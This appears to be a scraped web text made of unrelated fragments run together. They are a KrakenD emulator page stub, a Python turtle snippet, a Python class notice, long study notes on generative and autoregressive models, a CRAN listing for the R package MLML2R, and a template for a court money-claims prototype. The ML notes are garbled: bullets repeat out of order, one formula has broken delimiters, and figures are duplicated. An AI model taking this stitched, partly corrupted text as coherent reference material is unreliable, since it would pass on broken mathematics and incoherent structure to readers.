The KrakenD Emulator is an experimental feature that allows you to test KrakenD functionality right in your browser. Open the browser console to see more activity.
{parameters}
or adding
query strings here.
{"My-header": ["Value 1", "Value 2"] }
Headers:
{{ output.header }}
Body:
{{ output.body }}


import turtle import random # *** *** # Press the "run" button below and # see what Python can do! # # feel free to modify the code below # and start learning Python now! # *** *** r = random t = turtle.Turtle() print "Hello World" for i in range(8): for j in ["green", "blue", "pink", "orange"]: t.pencolor(j) t.left(r.random() * 360) t.circle(r.random() * 100)
Nov. 2, 2016, 5:30 p.m.
Location: GSD 307
Duration: 120 min
Cost: $0
Get a comprehensive introduction to the core Python language. We meet each wednesday from October 26th to November 9th at the GSD building (Cafe Nostalgica) room 307


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- Probabilistic Models and Generative Neural Networks (paper)
- Latent Variable Model Intuition (slides!)
- Generative Models (OpenAI Blog!)
In situations respecting the following assumptions, Semi-Supervised Learning should improve performance: :
- Semi-supervised learning works when \(p(\mathbf{y} \vert \mathbf{x})\) and \(p(\mathbf{x})\) are tied together.
- This happens when \(\mathbf{y}\) is closely associated with one of the causal factors of \(\mathbf{x}\).
- The best possible model of \(\mathbf{x}\) (wrt. generalization) is the one that uncovers the above “true” structure, with \(\boldsymbol{h}\) as a latent variable that explains the observed variations in \(\boldsymbol{x}\).
- Since we can write the Marginal Probability of Data as:
$$p(\boldsymbol{x})=\mathbb{E}_ {\mathbf{h}} p(\boldsymbol{x} \vert \boldsymbol{h})$$
- Because the “true” generative process can be conceived as structured according to this directed graphical model, with \(\mathbf{h}\) as the parent of \(\mathbf{x}\):
$$p(\mathbf{h}, \mathbf{x})=p(\mathbf{x} \vert \mathbf{h}) p(\mathbf{h})$$
- Because the “true” generative process can be conceived as structured according to this directed graphical model, with \(\mathbf{h}\) as the parent of \(\mathbf{x}\):
- Thus, The “ideal” representation learning discussed above should recover these latent factors.
- Since we can write the Marginal Probability of Data as:
- The marginal \(p(\mathbf{x})\) is intimately tied to the conditional \(p(\mathbf{y} \vert \mathbf{x})\), and knowledge of the structure of the former should be helpful to learn the latter.
- Since the conditional distribution of \(\mathbf{y}\) given \(\mathbf{x}\) is tied by Bayes’ rule to the components in the above equation:
$$p(\mathbf{y} \vert \mathbf{x})=\frac{p(\mathbf{x} \vert \mathbf{y}) p(\mathbf{y})}{p(\mathbf{x})}$$
- Since the conditional distribution of \(\mathbf{y}\) given \(\mathbf{x}\) is tied by Bayes’ rule to the components in the above equation:
Introduction and Preliminaries
-
Unsupervised Learning:
Unsupervised Learning is the task of making inferences, by learning a better representation from some datapoints that do not have any labels associated with them.
It intends to learn/infer an a priori probability distribution \(p_{X}(x)\); I.E. it solves a density estimation problem.
It is a type of self-organized Hebbian learning that helps find previously unknown patterns in data set without pre-existing labels.
-
Density Estimation:
Density Estimation is a problem in Machine Learning that requires learning a function \(p_{\text {model}} : \mathbb{R}^{n} \rightarrow \mathbb{R}\), where \(p_{\text {model}}(x)\) can be interpreted as a probability density function (if \(x\) is continuous) or a probability mass function (if \(x\) is discrete) on the space that the examples were drawn from.To perform such a task well, an algorithm needs to learn the structure of the data it has seen. It must know where examples cluster tightly and where they are unlikely to occur.
- Types of Density Estimation:
- Explicit: Explicitly define and solve for \(p_\text{model}(x)\)
- Implicit: Learn model that can sample from \(p_\text{model}(x)\) without explicitly defining it
- Types of Density Estimation:
-
Generative Models (GMs):
A Generative Model is a statistical model of the joint probability distribution on \(X \times Y\):$${\displaystyle P(X,Y)}$$
where \(X\) is an observable variable and \(Y\) is a target variable.
In supervised settings, a Generative Model is a model of the conditional probability of the observable \(X,\) given a target \(y,\):
$$P(X | Y=y)$$
Application - Density Estimation:
Generative Models address the Density Estimation problem, a core problem in unsupervised learning, since they model
Given training data, GMs will generate new samples from the same distribution.- Types of Density Estimation:
- Explicit: Explicitly define and solve for \(p_\text{model}(x)\)
- Implicit: Learn model that can sample from \(p_\text{model}(x)\) without explicitly defining it
Examples of Generative Models:
- Gaussian Mixture Model (and other types of mixture model)
- Hidden Markov Model
- Probabilistic context-free grammar
- Bayesian network (e.g. Naive Bayes, Autoregressive Model)
- Averaged one-dependence estimators
- Latent Dirichlet allocation (LDA)
- Boltzmann machine (e.g. Restricted Boltzmann machine, Deep belief network)
- Variational autoencoder
- Generative Adversarial Networks
- Flow-based Generative Model
Notes:
- Generative Models are Joint Models.
- Latent Variables are Random Variables.
- Types of Density Estimation:
Deep Generative Models
-
Generative Models (GMs):
-
Deep Generative Models (DGMs):
- DGMs represent probability distributions over multiple variables in some way:
- Some allow the probability distribution function to be evaluated explicitly.
- Others do not allow the evaluation of the probability distribution function but support operations that implicitly require knowledge of it, such as drawing samples from the distribution.
- Structure/Representation:
- Some of these models are structured probabilistic models described in terms of graphs and factors, using the language of (probabilistic) graphical models.
- Others cannot be easily described in terms of factors but represent probability distributions nonetheless.
- DGMs represent probability distributions over multiple variables in some way:
Likelihood-based Models
- Likelihood-based Models:
Likelihood-based Model: is a statistical model of a joint distribution over data.
It estimates \(\mathbf{p}_ {\text {data}}\) from samples \(\mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)} \sim \mathbf{p}_ {\text {data}}(\mathbf{x})\).
It Learns a distribution \(p\) that allows:- Computing probability of a sample \(p(x)\) for arbitrary \(x\)
- Sampling \(x \sim p(x)\)
Sampling is a computable efficient process that generates an RV \(x\) that has the same distribution as a \(p_{\text{data}}\).
The distribution \(\mathbf{p}_ {\text {data}}\) is just a function that takes as an input a sample \(x\) and outputs the probability of \(x\) under the learned distribution.
The Goal for Learning Likelihood-based Models:
- Original Goal: estimate \(\mathbf{p}_{\text {data}}\) from samples \(\mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)} \sim \mathbf{p}_{\text {data}}(\mathbf{x})\).
- Revised Goal - Function Approximation: Find \(\theta\) (the parameter vector indexing into the distribution space) so that you approximately get the data distribution.
I.E. Learn \(\theta\) so that \(p_{\theta}(x) \approx p_{\text {data}}(x)\).
Motivation:
- Solving Hard Problems:
- Generating Data: synthesizing images, videos, speech, text
- Compressing Data: constructing efficient codes
- Anomaly Detection
-
The Histogram Model:
The Histogram Model is a very simple likelihood-based model.
It is a model of discrete data where the samples can take on values in a finite set \(\{1, \ldots, \mathrm{k}\}\).The Goal: estimate \(\mathbf{p}_{\text {data}}\) from samples \(\mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)} \sim \mathbf{p}_{\text {data}}(\mathbf{x})\).
The Model: a Histogram
- Described by \(k\) nonnegative numbers: \(\mathrm{p}_{1}, \ldots, \mathrm{p}_{\mathrm{k}}\)
- Trained by counting frequencies
$$\mathrm{p}_ {\mathrm{i}}=(\# \text { times } i \text { appears in the dataset) } /(\#\text { points in the dataset) }$$
- At Runtime:
- Inference (querying \(p_i\) for arbitrary \(i\)): simply a lookup into the array \(\mathrm{p}_{1}, \ldots, \mathrm{p}_{\mathrm{k}}\)
- Sampling (lookup into the inverse cumulative distribution function):
- From the model probabilities \(p_{1}, \ldots, p_{k},\) compute the cumulative distribution:
$$\mathrm{F}_{\mathrm{i}}=\mathrm{p}_ {1}+\cdots+\mathrm{p}_ {\mathrm{i}} \quad$ for all $\mathrm{i} \in\{1, \ldots, \mathrm{k}\}$$
- Draw a uniform random number \(u \sim[0,1]\)
- Return the smallest \(i\) such that \(u \leq F_{i}\)
- From the model probabilities \(p_{1}, \ldots, p_{k},\) compute the cumulative distribution:
Generalization Problem:
- The Curse of Dimensionality: Counting fails when there are too many bins and generalization is not achieved.
- (Binary) MNIST: \(28 \times 28\) images, each pixel in \(\{0,1\}\)
- There are \(2^{784} \approx 10^{236} \approx 10^{236}\) probabilities to estimate
- Any reasonable training set covers only a tiny fraction of this
- Each image influences only one parameter and there is only \(60,000\) MNIST images:
No generalization whatsoever!
- Solution: Function Approximation
Instead of storing each probability store a parameterized function \(p_{\theta}(x)\).
-
Achieving Generalization via Function Approximation:
Function Approximation: Defines a mapping \(p_{\theta}\) from a parameter space to a space of probability distributions.
E.g. \(\theta\) are the weights of a NN, \(p_{\theta}\) some NN architecture with those weights set.Instead of storing each probability store a parameterized function \(p_{\theta}(x)\).
i.e. Instead of treating the probabilities \(p_1, ..., p_k\) themselves as parameters, we define them to be functions of other parameters \(\theta\).
The probability of every data point \(p_i = p_{\theta}(x_i)\) will be a function of \(\theta\).
The mapping is defined such that whenever we update \(\theta\) for any one particular data point, its likely to influence \(p_i\) for other data points that are similar to it.
We constraint the dimension \(d\) of \(\theta \in \mathbb{R}^d\) to be much less than the number of possible images.
Such that the parameter space \(\Theta\) is indexing into the low-dimensional space inside the set of all probability distributions.
This is how we achieve Generalization through function approximation.The Revised Goal for Learning Likelihood-based Models - Function Approximation:
- Original Goal: estimate \(\mathbf{p}_{\text {data}}\) from samples \(\mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)} \sim \mathbf{p}_{\text {data}}(\mathbf{x})\).
- Revised Goal - Function Approximation: Find \(\theta\) (the parameter vector indexing into the distribution space) so that you approximately get the data distribution.
I.E. Learn \(\theta\) so that \(p_{\theta}(x) \approx p_{\text {data}}(x)\).
New Challenges:
- How do we design function approximators to effectively represent complex joint distributions over \(x\), yet remain easy to train?
- There will be many choices for model design, each with different tradeoffs and different compatibility criteria.
- Define “what does it mean for one probability distribution to be approximately equal to another”?
A measure of distance between distributions: distance function.
It needs to be differentiable wrt \(\theta\), works on finite-datasets, etc. - How to “define \(p_{\theta}\)”?
- How to “learn/optimize \(\theta\)”?
- How to ensure software-hardware compatibility?
- Define “what does it mean for one probability distribution to be approximately equal to another”?
Designing the model and the training procedure (optimization) go hand-in-hand.
- Architecture and Learning in Likelihood-based Models:
Fitting Distributions:- Given data \(\mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)}\) sampled from a “true” distribution \(\mathbf{p}_ {\text {data}}\)
- Set up a model class: a set of parameterized distributions \(\mathrm{p}_ {\theta}\)
- Pose a search problem over parameters:
$$\arg \min_ {\theta} \operatorname{loss}\left(\theta, \mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)}\right)$$
- Desiderata - Want the loss function + search procedure to:
- Work with large datasets (\(n\) is large, say millions of training examples)
- Yield $\theta$ such that \(p_ {\theta}\) matches \(p_{\text {data}}\) — i.e. the training algorithm “works”.
Think of the loss as a distance between distributions. - Note that the training procedure can only see the empirical data distribution, not the true data distribution: we want the model to generalize.
Objective - Maximum Likelihood:
- Maximum Likelihood: given a dataset \(\mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)},\) find \(\theta\) by solving the optimization problem
$$\arg \min _{\theta} \operatorname{loss}\left(\theta, \mathbf{x}^{(1)}, \ldots, \mathbf{x}^{(n)}\right)=\frac{1}{n} \sum_{i=1}^{n}-\log p_{\theta}\left(\mathbf{x}^{(i)}\right)$$
- Statistics tells us that if the model family is expressive enough and if enough data is given, then solving the maximum likelihood problem will yield parameters that generate the data.
This is IMPORTANT since one of the main reasons for introducing and using these methods (e.g. MLE) is that they work in practice i.e. leads to an algorithm we can run in practice that actually produces good models. - Equivalent to minimizing KL divergence between the empirical data distribution and the model:
$$\hat{p}_{\text {data }}(\mathbf{x})=\frac{1}{n} \sum_{i=1}^{n} \mathbf{1}\left[\mathbf{x}=\mathbf{x}^{(i)}\right]$$
$$\mathrm{KL}\left(\hat{p}_{\mathrm{data}} \| p_{\theta}\right)=\mathbb{E}_{\mathbf{x} \sim \hat{p}_{\mathrm{data}}}\left[-\log p_{\theta}(\mathbf{x})\right]-H\left(\hat{p}_ {\mathrm{data}}\right)$$
I.E. the maximum likelihood objective exactly measures how good of a compressor the model is.
Optimization - Stochastic Gradient Descent:
Maximum likelihood is an optimization problem. We use SGD to solve it.- SGD minimizes expectations: for \({f}\) a differentiable function of \(\theta,\) it solves
$$\arg \min_ {\theta} \mathbb{E}[f(\theta)]$$
- With maximum likelihood (which is an expectation in-of-itself), the optimization problem is
$$\arg \min _{\theta} \mathbb{E}_{\mathbf{x} \sim \hat{p}_{\text {data }}}\left[-\log p_{\theta}(\mathbf{x})\right]$$
- Why maximum likelihood + SGD?
Same Theme: It works with large datasets and is compatible with neural networks.
Designing the Model:
Our goal is to design Neural Network models that fit into the maximum likelihood + sgd framework.- Key requirement for maximum likelihood + SGD: efficiently compute \(\log p(x)\) and its gradient.
- The Model \(p_{\theta}\): is chosen to be Deep Neural Networks
They work in the regime of high expressiveness and efficient computation (assuming specialized hardware). - Designing the Networks:
- Any setting of \(\theta\) must define a valid probability distribution over \(x\):
$$\forall \theta, \quad \sum_{\mathbf{x}} p_{\theta}(\mathbf{x})=1 \quad \text{ and } \quad p_{\theta}(\mathbf{x}) \geq 0 \quad \forall \mathbf{x}$$
- Difficulty: The number of terms in the sum is the number of possible data points, thus, it is exponential in the dimension.
Thus, a naive implementation would have a forward pass w/ exponential time. - Energy-based Models do not have this constraint in the model definition, but then have to deal with that constraint in the training algorithm making it very hard to deal with/optimize.
- Difficulty: The number of terms in the sum is the number of possible data points, thus, it is exponential in the dimension.
- \(\log p_{\theta}(x)\) should be easy to evaluate and differentiate with respect to \(\theta\)
- This can be tricky to set up!
- Any setting of \(\theta\) must define a valid probability distribution over \(x\):
Bayes Nets and Neural Nets:
One way to satisfy the condition of defining a valid probability distribution over \(x\) is to model the variables with a Bayes Net.Main Idea:
place a Bayes Net structure (a directed acyclic graph) over the variables in the data, and model the conditional distributions with Neural Networks.This Reduces the problem to designing conditional likelihood-based models for single variables.
We know how to do this: the neural net takes variables being conditioned on as input, and outputs the distribution for the variable being predicted; NNs usually condition on a lot of stuff (features) and predict a single small variable (target \(y\)) this is done in practice all the time in supervised settings (e.g. classification).
This (the BN representation) yields massive savings in the number of parameters to represent a joint distribution.
Does this work in practice?
- Given a Bayes net structure, setting the conditional distributions to neural networks will yield a tractable log likelihood and gradient.
Great for maximum likelihood training:$$\log p_{\theta}(\mathbf{x})=\sum_{i=1}^{d} \log p_{\theta}\left(x_{i} | \text { parents }\left(x_{i}\right)\right)$$
- Expressiveness: it is completely expressive.
Assuming a fully expressive Bayes Net structure: any joint distribution can be written as a product of conditionals$$\log p(\mathbf{x})=\sum_{i=1}^{d} \log p\left(x_{i} | \mathbf{x}_ {1: i-1}\right)$$
- This is known as an Autoregressive Model.
Conclusion:
An expressive Bayes Net structure with Neural Network conditional distributions yields an expressive model for \(p(x)\) with tractable maximum likelihood training.
-
Autoregressive Models:
Notes:
- Very useful if the problem we are modeling requires a fixed size output (e.g. auto-regressive models).
- Autoregressive models such as PixelRNN instead train a network that models the conditional distribution of every individual pixel given previous pixels (to the left and to the top). This is similar to plugging the pixels of the image into a char-rnn, but the RNNs run both horizontally and vertically over the image instead of just a 1D sequence of characters.


⚡ Welcome to Lightning Poll ⚡
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Maximum likelihood estimates (MLE) of the proportions of 5-mC and 5-hmC in the DNA using information from BS-conversion, TAB-conversion, and oxBS-conversion methods. One can use information from all three methods or any combination of two of them. Estimates are based on Binomial model by Qu et al. (2013) <doi:10.1093/bioinformatics/btt459> and Kiihl et al. (2018, to appear).
| Version: | 0.3.1 |
| Suggests: | minfi, microbenchmark, GEOquery, knitr, BiocStyle, rmarkdown, IlluminaHumanMethylation450kmanifest |
| Published: | 2018-11-12 |
| Author: | Samara Kiihl [aut, cre], Maria Jose Martinez-Garrido [aut], Arce Domingo-Relloso [aut], Jose Bermudez [aut], Maria Tellez-Plaza [aut] |
| Maintainer: | Samara Kiihl <samara at ime.unicamp.br> |
| BugReports: | https://github.com/samarafk/MLML2R/issues |
| License: | MIT + file LICENSE |
| URL: | https://github.com/samarafk/MLML2R |
| NeedsCompilation: | no |
| CRAN checks: | MLML2R results |
| Reference manual: | MLML2R.pdf |
| Vignettes: |
Using MLML2R |
| Package source: | MLML2R_0.3.1.tar.gz |
| Windows binaries: | r-devel: MLML2R_0.3.1.zip, r-release: MLML2R_0.3.1.zip, r-oldrel: MLML2R_0.3.1.zip |
| OS X binaries: | r-release: MLML2R_0.3.1.tgz, r-oldrel: MLML2R_0.3.1.tgz |
| Old sources: | MLML2R archive |
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{% extends "layout_task-list.html" %} {% block page_title %} Money Claims Prototype {% endblock %} {% block home_link %} ../task-list {% endblock %} {% block proposition_header %} {% set my_account="1" %} {% include "includes/propositional_navigation.html" %} {% endblock %} {% block content %} {% include "includes/phase_banner_beta.html" %} Back {{formData | safe}} Resolving this dispute Resolving this dispute You should try to solve the dispute directly with the person or organisation before making a claim by: speaking to them (send an email or letter if you want a record) telling them what you believe they owe you and why. explaining that if you can't reach an agreement (such as a timetable for paying the money) you'll make a legal money claim. telling them that they might have to pay the full amount as well as fees and other costs if they ‘defend the claim’, and that they could get a County Court Judgment (CCJ). It might count against you in court if you don’t try to solve the dispute with the person or organisation directly before you make an official claim. Return to overview {% include 'prototypes/prototype-mar-2019/includes/contact.html' %} {% endblock %}
You should try to solve the dispute directly with the person or organisation before making a claim by:
It might count against you in court if you don’t try to solve the dispute with the person or organisation directly before you make an official claim.